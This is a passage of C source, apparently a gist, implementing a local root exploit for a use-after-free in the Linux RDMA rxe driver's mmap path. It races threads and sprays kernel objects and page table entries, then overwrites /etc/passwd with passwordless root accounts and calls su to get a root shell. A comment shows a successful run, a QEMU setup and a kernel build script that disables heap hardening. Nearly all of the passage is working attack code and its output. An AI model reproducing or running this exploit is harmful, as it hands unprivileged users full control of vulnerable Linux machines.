| pthread_create(&destroy_tid, NULL, destroy_thread, NULL)) | |
| die("pthread_create race"); | |
| while (atomic_load_explicit(&race_ready, memory_order_acquire) != 2) | |
| cpu_relax(); | |
| atomic_store_explicit(&race_fire, 1, memory_order_release); | |
| pthread_join(mmap_tid, NULL); | |
| pthread_join(destroy_tid, NULL); | |
| mapped = atomic_load_explicit(&mmap_ok, memory_order_acquire); | |
| destroyed = atomic_load_explicit(&destroy_ok, memory_order_acquire); | |
| mmap_enter = atomic_load_explicit(&mmap_enter_ns, memory_order_acquire); | |
| mmap_leave = atomic_load_explicit(&mmap_leave_ns, memory_order_acquire); | |
| destroy_enter = | |
| atomic_load_explicit(&destroy_enter_ns, memory_order_acquire); | |
| destroy_leave = | |
| atomic_load_explicit(&destroy_leave_ns, memory_order_acquire); | |
| leave_delta = (int64_t)destroy_leave - (int64_t)mmap_leave; | |
| if (!mapped) { | |
| if (iteration % 250 == 0) | |
| printf("[.] iter=%d delay=%lu ns: mmap miss\n", | |
| iteration, (unsigned long)destroy_delay_ns); | |
| release_iteration_pages(ANON_VMA_SPRAY_AFTER + ANON_VMA_SPRAY_BEFORE); | |
| return 0; | |
| } | |
| if (!destroyed) { | |
| if (mapping != MAP_FAILED) { | |
| munmap(mapping, mmap_size ? mmap_size : PAGE_SIZE_BYTES); | |
| mapping = MAP_FAILED; | |
| } | |
| release_iteration_pages(ANON_VMA_SPRAY_AFTER + ANON_VMA_SPRAY_BEFORE); | |
| return 0; | |
| } | |
| printf("[*] iter=%d delay=%lu ns: mmap+destroy candidate; " | |
| "leave_delta=%+ld ns, spraying %d keys\n", | |
| iteration, (unsigned long)destroy_delay_ns, | |
| (long)leave_delta, opt.key_spray); | |
| if (key_fork_oracle(iteration)) { | |
| return 1; | |
| } | |
| release_iteration_pages(ANON_VMA_SPRAY_AFTER + ANON_VMA_SPRAY_BEFORE); | |
| return 0; | |
| } | |
| static unsigned long parse_ulong(const char *text, const char *name) | |
| { | |
| char *end; | |
| unsigned long value; | |
| errno = 0; | |
| value = strtoul(text, &end, 0); | |
| if (errno || !text[0] || *end) { | |
| fprintf(stderr, "invalid %s: %s\n", name, text); | |
| exit(EXIT_FAILURE); | |
| } | |
| return value; | |
| } | |
| static void usage(const char *program) | |
| { | |
| fprintf(stderr, | |
| "usage: %s [-n iterations] [-k keys] [-c cqe] " | |
| "[-b delay_base_ns] [-s delay_step_ns] [-w delay_steps] " | |
| "[-t timer_threads] [-p timer_period_ns] " | |
| "[-u timer_busy_ns] [-m mmap_cpu] [-d destroy_cpu] " | |
| "[-R] [-T tail_keys] [-W reclaim_wait_ms]\n", | |
| program); | |
| exit(EXIT_FAILURE); | |
| } | |
| static void parse_options(int argc, char **argv) | |
| { | |
| int c; | |
| while ((c = getopt(argc, argv, | |
| "n:k:c:b:s:w:t:p:u:m:d:RT:W:h")) != -1) { | |
| switch (c) { | |
| case 'n': | |
| opt.iterations = (int)parse_ulong(optarg, "iterations"); | |
| break; | |
| case 'k': | |
| opt.key_spray = (int)parse_ulong(optarg, "keys"); | |
| break; | |
| case 'c': | |
| opt.cqe = (uint32_t)parse_ulong(optarg, "cqe"); | |
| break; | |
| case 'b': | |
| opt.delay_base_ns = parse_ulong(optarg, "delay base"); | |
| break; | |
| case 's': | |
| opt.delay_step_ns = parse_ulong(optarg, "delay step"); | |
| break; | |
| case 'w': | |
| opt.delay_steps = (int)parse_ulong(optarg, "delay steps"); | |
| break; | |
| case 't': | |
| opt.timer_threads = (int)parse_ulong(optarg, | |
| "timer threads"); | |
| break; | |
| case 'p': | |
| opt.timer_period_ns = parse_ulong(optarg, | |
| "timer period"); | |
| break; | |
| case 'u': | |
| opt.timer_busy_ns = parse_ulong(optarg, "timer busy"); | |
| break; | |
| case 'm': | |
| opt.mmap_cpu = (int)parse_ulong(optarg, "mmap CPU"); | |
| break; | |
| case 'd': | |
| opt.destroy_cpu = (int)parse_ulong(optarg, "destroy CPU"); | |
| break; | |
| case 'R': | |
| opt.reclaim_probe = 1; | |
| break; | |
| case 'T': | |
| opt.tail_keys = (int)parse_ulong(optarg, "tail keys"); | |
| break; | |
| case 'W': | |
| opt.reclaim_wait_ms = | |
| (unsigned int)parse_ulong(optarg, | |
| "reclaim wait"); | |
| break; | |
| default: | |
| usage(argv[0]); | |
| } | |
| } | |
| if (opt.iterations <= 0 || opt.key_spray <= 0 || | |
| opt.key_spray > MAX_KEY_SPRAY || opt.tail_keys < 0 || | |
| opt.tail_keys > MAX_KEY_SPRAY || | |
| opt.key_spray + opt.tail_keys > MAX_KEY_SPRAY || | |
| opt.delay_steps <= 0 || | |
| opt.timer_threads < 0 || opt.timer_threads > MAX_TIMER_THREADS || | |
| opt.timer_period_ns == 0 || | |
| opt.timer_period_ns >= 1000000000ULL) | |
| usage(argv[0]); | |
| } | |
| #include <sys/resource.h> | |
| void increase_fd_limit() { | |
| struct rlimit rlim; | |
| printf("[*] Increasing file descriptor limit...\n"); | |
| getrlimit(RLIMIT_NOFILE, &rlim); | |
| rlim.rlim_cur = rlim.rlim_max; | |
| if (setrlimit(RLIMIT_NOFILE, &rlim)) { | |
| perror("setrlimit"); | |
| } | |
| } | |
| #define FULL_SHEAF_CAPACITY 128 | |
| int main(int argc, char **argv) | |
| { | |
| pthread_t timers[MAX_TIMER_THREADS]; | |
| int result = EXIT_FAILURE; | |
| parse_options(argc, argv); | |
| setvbuf(stdout, NULL, _IOLBF, 0); | |
| printf("=== rxe_mmap UAF LPE ===\n"); | |
| printf("[*] iterations=%d cqe=%u keys=%d delay=%lu+N*%lu ns " | |
| "(%d steps)\n", | |
| opt.iterations, opt.cqe, opt.key_spray, | |
| (unsigned long)opt.delay_base_ns, | |
| (unsigned long)opt.delay_step_ns, opt.delay_steps); | |
| printf("[*] mmap CPU=%d destroy/timer CPU=%d timers=%d " | |
| "period=%lu ns busy=%lu ns\n", | |
| opt.mmap_cpu, opt.destroy_cpu, opt.timer_threads, | |
| (unsigned long)opt.timer_period_ns, | |
| (unsigned long)opt.timer_busy_ns); | |
| if (opt.reclaim_probe) | |
| printf("[*] allocator probe: revoke after safe VMA " | |
| "teardown, tail=%d, RCU wait=%u ms\n", | |
| opt.tail_keys, opt.reclaim_wait_ms); | |
| if (sysconf(_SC_NPROCESSORS_ONLN) <= opt.mmap_cpu || | |
| sysconf(_SC_NPROCESSORS_ONLN) <= opt.destroy_cpu) { | |
| fprintf(stderr, "requested CPU is not online\n"); | |
| return EXIT_FAILURE; | |
| } | |
| prime_process_keyring(); | |
| init_uverbs(); | |
| increase_fd_limit(); | |
| for (int i = 0; i < opt.timer_threads; i++) { | |
| if (pthread_create(&timers[i], NULL, timer_pressure_thread, | |
| (void *)(intptr_t)i)) | |
| die("pthread_create timer"); | |
| } | |
| while (atomic_load_explicit(&timers_ready, memory_order_acquire) != | |
| opt.timer_threads) | |
| cpu_relax(); | |
| int etcfd = open("/etc/passwd", O_RDONLY); | |
| if (etcfd == -1) fatal("/etc/passwd"); | |
| struct fd_uring spray[0x3000] = {0}; | |
| spray_uring(0x275, spray); | |
| struct unix_edge_spray spray_edge; | |
| if (allocate_unix_edges(&spray_edge, 0x400) < 0) | |
| perror("allocate_unix_edges"); | |
| for (int iteration = 0; iteration < opt.iterations; iteration++) { | |
| int ret = run_iteration(iteration); | |
| if (ret < 0) | |
| break; | |
| if (ret > 0) { | |
| // we start the real attack now we now the UAF succeeded | |
| pin_cpu(0); | |
| puts("[+] Preparing pages..."); | |
| for (size_t i = 0; i < SPRAY_NUM / ENTRY_PER_TABLE; i++) { | |
| for (size_t j = 0; j < ENTRY_PER_TABLE; j++) { | |
| for (int k = 24; k < 0x1000-24; k += 0x40) { | |
| mmap_file_by_pti(etcfd, 1, i, j, k / 8); | |
| } | |
| } | |
| volatile char c = *PTI_TO_VIRT(1, i, 0, 3); // pte doesnt matter here but it should at least exist | |
| } | |
| pin_cpu(0); | |
| puts("[+] Saturating kmalloc-64..."); | |
| struct fown_struct_spray spray_fown; | |
| allocate_fown_structs(&spray_fown, OBJS_PER_SLAB * (NR_PARTIAL) \ | |
| + FULL_SHEAF_CAPACITY * (MAX_FULL_SHEAVES + 2)); | |
| deallocate_fown_structs(&spray_fown); | |
| release_iteration_pages(ANON_VMA_SPRAY_AFTER + ANON_VMA_SPRAY_BEFORE); | |
| revoke_key_batch_and_wait(&primary_oracle); | |
| puts("[+] Spraying uring to the main sheaf so the victim can be freed to the buddy..."); | |
| release_uring(spray, 0x275); | |
| puts("[+] Spraying PTEs..."); | |
| for (size_t i = 0; i < SPRAY_NUM / ENTRY_PER_TABLE; i++) { | |
| for (size_t j = 1; j < ENTRY_PER_TABLE; j++) { | |
| volatile char c; | |
| for (int k = 24; k < 0x1000-24; k += 0x40) { | |
| c = *PTI_TO_VIRT(1, i, j, k / 8); | |
| } | |
| } | |
| } | |
| // getchar(); | |
| if (!fork()) { while (1); } | |
| if (!fork()) { while (1); } | |
| // ref count += 2 | |
| char* content = | |
| "root::0:0:root:/pwn3d:/bin/sh\n\ | |
| nasm::0:0::/root:/bin/bash\n"; | |
| char buf[PAGE_SIZE_BYTES] = {0}; | |
| int neko = open("/tmp/neko", O_RDWR | O_CREAT, 0666); | |
| memcpy(buf, content, strlen(content)); | |
| write(neko, buf, strlen(content)); | |
| for (size_t i = 0; i < SPRAY_NUM / ENTRY_PER_TABLE; i++) { | |
| for (size_t j = 1; j < ENTRY_PER_TABLE; j++) { | |
| for (int k = 24; k < 0x1000-24; k += 0x40) { | |
| ssize_t s; | |
| lseek(neko, 0, SEEK_SET); | |
| s = read(neko, PTI_TO_VIRT(1, i, j, k / 8), strlen(content)); | |
| // printf("%d\n", s); | |
| if (s > 0) { | |
| printf("[+] Success: wrote entry: %ld, %ld\n", i, j); | |
| result = EXIT_SUCCESS; | |
| } | |
| } | |
| } | |
| } | |
| break; | |
| } | |
| } | |
| atomic_store_explicit(&stop_timers, 1, memory_order_release); | |
| for (int i = 0; i < opt.timer_threads; i++) | |
| pthread_cancel(timers[i]); | |
| for (int i = 0; i < opt.timer_threads; i++) | |
| pthread_join(timers[i], NULL); | |
| if (result != EXIT_SUCCESS) { | |
| printf("[-] no key payload transition observed / failed pte overwrite\n"); | |
| } else { | |
| printf("[+] Popping a root shell.."); | |
| char *arg[] = { | |
| "su", | |
| "nasm", | |
| NULL | |
| }; | |
| execve("/bin/su", arg, NULL); | |
| } | |
| if (uverbs_fd >= 0) | |
| close(uverbs_fd); | |
| return result; | |
| } | |
| /* | |
| testuser@syzkaller:/tmp$ ./poc | |
| === rxe_mmap UAF LPE === | |
| [*] iterations=600 cqe=1 keys=32 delay=0+N*10 ns (21 steps) | |
| [*] mmap CPU=1 destroy/timer CPU=0 timers=2 period=20000 ns busy=2500 ns | |
| [+] GET_CONTEXT async_fd=4 vectors=2, ALLOC_PD=0 | |
| [*] Increasing file descriptor limit... | |
| [*] iter=0 delay=0 ns: mmap+destroy candidate; leave_delta=+50391 ns, spraying 32 keys | |
| [*] iter=1 delay=10 ns: mmap+destroy candidate; leave_delta=+1406035 ns, spraying 32 keys | |
| [*] iter=2 delay=20 ns: mmap+destroy candidate; leave_delta=+4217 ns, spraying 32 keys | |
| [+] UAF key[0]=468677752 description="rxe-uaf-438-2-0" payload[0]: 0x1337a000 -> 0x1337a001 while fork child is alive | |
| [UAF] after child exit: payload[0]=0x1337a000 (expected restored 0x1337a000, read=40) | |
| [+] Preparing pages... | |
| [+] Freeing of victim + adjacent objects... | |
| [RECLAIM] revoked 32 payloads; waiting 250 ms for RCU callbacks | |
| [+] Uring/fown spray to release the slab page back to the pcp... | |
| [+] Spraying PTEs... | |
| [+] Success: wrote entry: 3, 315 | |
| root@syzkaller:/tmp# id | |
| uid=0(root) gid=0(root) groups=0(root) | |
| root@syzkaller:/tmp# head /etc/passwd | |
| root::0:0:root:/pwn3d:/bin/sh | |
| daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin | |
| bin:x:2:2:bin:/bin:/usr/sbin/nologin | |
| sys:x:3:3:sys:/dev:/usr/sbin/nologin | |
| _apt:x:42:65534::/nonexistent:/usr/sbin/nologin | |
| systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin | |
| dhcpcd:x:100:65534:DHCP Client Daemon:/usr/lib/dhcpcd:/bin/false | |
| sshd:x:991:65534:sshd user:/run/sshd:/usr/sbin/nologin | |
| messagebus:x:990:990:System Message Bus:/nonexistent:/usr/sbin/nologin | |
| nasm::0:0::/root:/bin/bash | |
| qemu-system-x86_64 \ | |
| -m 2G \ | |
| -s -S \ | |
| -enable-kvm \ | |
| -cpu host \ | |
| -smp 2 \ | |
| -kernel "linux/arch/x86/boot/bzImage" \ | |
| -append "console=ttyS0 nokaslr root=/dev/sda earlyprintk=serial net.ifnames=0 selinux=0 oops=continue kasan.fault=report" \ | |
| -drive file="fs/trixie.img",format=raw \ | |
| -net user,host=10.0.2.10,hostfwd=tcp:127.0.0.1:10021-:22 \ | |
| -net nic,model=e1000 \ | |
| -nographic \ | |
| -pidfile vm.pid | |
| #!/usr/bin/bash | |
| cd linux && make defconfig && ./scripts/config \ | |
| -d SLAB_FREELIST_RANDOM \ | |
| -d SLAB_FREELIST_HARDENED \ | |
| -d SLAB_BUCKETS \ | |
| -d KMALLOC_PARTITION_CACHES \ | |
| -d KFENCE \ | |
| -d INIT_ON_ALLOC_DEFAULT_ON \ | |
| -d INIT_ON_FREE_DEFAULT_ON \ | |
| -d HARDENED_USERCOPY \ | |
| -d FORTIFY_SOURCE \ | |
| -d DEBUG_INFO_NONE \ | |
| -e DEBUG_INFO_DWARF4 \ | |
| -e TUN \ | |
| -e E1000 \ | |
| -e USER_NS \ | |
| -e VETH \ | |
| -e BINFMT_MISC \ | |
| -e CONFIGFS_FS \ | |
| -e SECURITYFS \ | |
| -e INFINIBAND \ | |
| -e INFINIBAND_USER_ACCESS \ | |
| -e INFINIBAND_USER_MEM \ | |
| -e RDMA_RXE \ | |
| --set-str SYSTEM_TRUSTED_KEYS "" \ | |
| --set-str SYSTEM_REVOCATION_KEYS "" \ | |
| && make olddefconfig && make -j`nproc` | |
| */ |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment